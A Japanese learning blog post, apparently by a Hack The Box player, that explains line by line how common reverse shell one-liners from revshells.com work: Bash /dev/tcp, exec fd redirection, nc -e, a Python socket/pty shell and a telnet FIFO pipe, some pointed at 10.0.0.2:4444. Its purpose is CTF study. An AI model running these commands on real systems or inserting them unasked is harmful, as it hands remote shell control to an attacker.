Skip to content

リバースシェルのプログラムをちゃんと理解する

Hack the boxに取り組む中でリバースシェルを使用する機会があるが、revshells.comや各問題のWrite upから拝借することが多く、その場で独力で書けるかといったら難しい。そこで今回はrevshells.comからいくつかリバースシェルをピックアップして、各文法にどんな意味があるのかを書きながら理解を深めていきたいと思う。

1. Bash その1 - Basic

Terminal window
$ bash -i >& /dev/tcp/<IPADDR>/<PORT> 0>&1
  • -i:インタラクティブに動作させるオプション
  • >&:標準出力・標準エラー出力をどちらも後続のfileにリダイレクトする
    • Bashの標準出力・標準エラー出力は/dev/tcp/<IPADDR>/<PORT>(つまり攻撃者側)に出力されている
  • /dev/tcp/<IPADDR>/<PORT>:このファイルに読み書きすることで、<IPADDR>:<PORT>とTCPソケット上で通信する。
    • 以下はman bashより(ってことはLinuxの機能ではなくてBashの機能なの?)
/dev/tcp/host/port
If host is a valid hostname or Internet address, and port is an integer port number or service name,
bash attempts to open the corresponding TCP socket.
/dev/udp/host/port
If host is a valid hostname or Internet address, and port is an integer port number or service name,
bash attempts to open the corresponding UDP socket.

2. Bash その2 - execを使う

Terminal window
$ 0<&196;exec 196<>/dev/tcp/<IPADDR>/<PORT>; bash <&196 >&196 2>&196
  • 0<&196:標準入力をfd 196にセット
    • ここの196という数字は2(標準エラー出力)より大きいものであればなんでもいいらしい
  • ;:Bashのコマンド区切り
  • exec 196<>:これ以降のシェルにおいてfd 196の標準入力・標準出力を/dev/tcp/<IPADDR>/<PORT>(つまり攻撃者側)に結びつける
  • bash <&196 >&196 2>&196bashを起動する際に、標準入力をfd 196から、標準出力と標準エラー出力はfd 196へリダイレクトするよう指定

3. Bash その3 - Readlineを使う

Terminal window
$ exec 5<>/dev/tcp/<IPADDR>/<PORT>;cat <&5 | while read line; do $line 2>&5 >&5; done
  • exec 5<>/dev/tcp/<IPADDR>/<PORT>:Bash その2と同じ
  • cat <&5 |fd 5から読み取ったものをcatして後続にパイプ|
  • while read line; do $line 2>&5 >&5; done:パイプ|から1行ずつ読み取って変数$lineに格納し、$lineを実行する、その際標準出力と標準エラー出力はfd 5にリダイレクト

4. Bash その4 - こんなやり方も

Terminal window
$ bash -i 5<> /dev/tcp/10.0.0.2/4444 0<&5 1>&5 2>&5

5. nc その1 - Basic

Terminal window
$ nc <IPADDR> <PORT> -e bash
  • nc <IPADDR> <PORT>:TCPで接続する
  • -e:起動したプログラムのファイルディスクリプタをこの接続にリダイレクトする
    • -cでもいけるっぽい

※自宅に用意したUbuntu 20.04LSに含まれているnetcat-openbsd 1.206-1ubuntu1-e-cのオプションが使用できなかった

6. Python

Terminal window
export RHOST="<IPADDR>";export RPORT=<PORT>;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'

読みやすくするため改行

Terminal window
export RHOST="<IPADDR>";export RPORT=<PORT>;
python -c '
import socket,os,pty;
s=socket.socket();
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];
pty.spawn("bash")
'
  • export ~:Pythonではなく環境変数として<IPADDR><PORT>を格納
  • python -c 'xxx':コマンド渡しでPython実行する ※あくまでコマンドを実行するため、上記のようにスクリプトとして複数のコマンドを実行したい場合は;で区切る
  • os.getenv():OS側に設定された環境変数を取得する(exportされたもの)
  • os.dup2(s.fileno(),fd);:socketのファイルディスクリプタs.fileno()を標準入力(0)、標準出力(1)、標準エラー出力(2)にリダイレクト
  • pty.spawn("bash"):Bashのプロセスを起動して、その制御端末を現在のプロセスの標準入出力に接続する

Telnet

Terminal window
$ TF=$(mktemp -u);mkfifo $TF && telnet 10.0.0.2 4444 0<$TF | bash 1>$TF 2>$TF
  • TF=$(mktemp -u):ランダムなファイル名を表示するが、-uオプションにより実際にファイル作成まではしない
  • mkfifo $TF$TFのファイルパスにFIFO(名前付きパイプ)を作成する
  • && telnet 10.0.0.2 4444 0<$TF:前のコマンドが成功した場合、標準入力を名前付きパイプ$TFにリダイレクトしてtelnetを起動する
  • | bash 1>$TF 2>$TF:標準出力と標準エラー出力は名前付きパイプ$TFにリダイレクト

他にもrevshells.comにはたくさんリバースシェルのプログラムが掲載されているが、 自分が今後出会う都度追記していく。